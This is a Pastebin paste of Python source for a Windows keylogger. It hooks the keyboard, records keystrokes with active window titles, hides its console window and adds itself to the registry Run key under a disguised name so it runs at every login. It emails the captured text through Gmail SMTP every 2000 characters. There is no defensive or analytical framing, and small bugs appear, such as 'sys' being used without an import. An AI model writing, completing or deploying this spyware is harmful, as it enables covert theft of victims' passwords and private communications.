Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import pyHook
- import pythoncom
- import smtplib
- from _winreg import *
- from win32console import GetConsoleWindow
- from win32gui import ShowWindow
- keyData = ''
- WinTitle = ""
- def send_email(keys):
- fromaddr = 'todo@gmail.com' #todo: add mail addresses
- toaddrs = 'user_you@gmail.com'
- msg = keys
- username = 'user_me@gmail.com'
- password = 'pwd'
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.ehlo()
- server.starttls()
- server.login(username, password)
- server.sendmail(fromaddr, toaddrs, msg)
- server.quit()
- def keypressed(event):
- global keyData, WinTitle
- keys = ""
- wintitlestring = ""
- if WinTitle != event.WindowName:
- WinTitle = event.WindowName
- wintitlestring = "\n Window: %s \n" % WinTitle
- try:
- keyfile = open("keys.txt", "r")
- keyData = keyfile.read()
- keyfile.close()
- except:
- pass
- if event.Ascii == 13:
- keys = '\n'
- elif event.Ascii == 8:
- keys = '<BACK SPACE>'
- elif event.Ascii == 9:
- keys = '<TAB>'
- elif event.Ascii == 19:
- keys = '<CTRL-S>'
- elif event.Ascii == 24:
- keys = '<CTRL-X>'
- elif event.Ascii == 22:
- keys = '<CTRL-V>'
- elif event.Ascii == 3:
- keys = '<CTRL-C>'
- elif event.Ascii == 26:
- keys = '<CTRL-Z>'
- elif event.Ascii == 0:
- if event.Key not in ("Lshift", "Rshift", "Lmenu", "Rmenu", "Lcontrol", "Rcontrol"):
- keys = "<%s>" % event.Key
- else:
- keys = chr(event.Ascii)
- if wintitlestring != "":
- keyData += wintitlestring
- keyData += keys
- if len(keyData) == 2000:
- send_email(keyData)
- keyData = ""
- return True
- def hide():
- window = GetConsoleWindow()
- ShowWindow(window, 0)
- return True
- def add_to_startup():
- fp = os.path.dirname(os.path.realpath(__file__))
- file_name = sys.argv[0].split("\\")[-1]
- new_file_path = fp + "\\" + file_name
- keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
- key2change = OpenKey(HKEY_CURRENT_USER,
- keyVal, 0, KEY_ALL_ACCESS)
- SetValueEx(key2change, "win32wig", 0, REG_SZ, new_file_path)
- hide()
- add_to_startup()
- obj = pyHook.HookManager()
- obj.KeyDown = keypressed
- obj.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement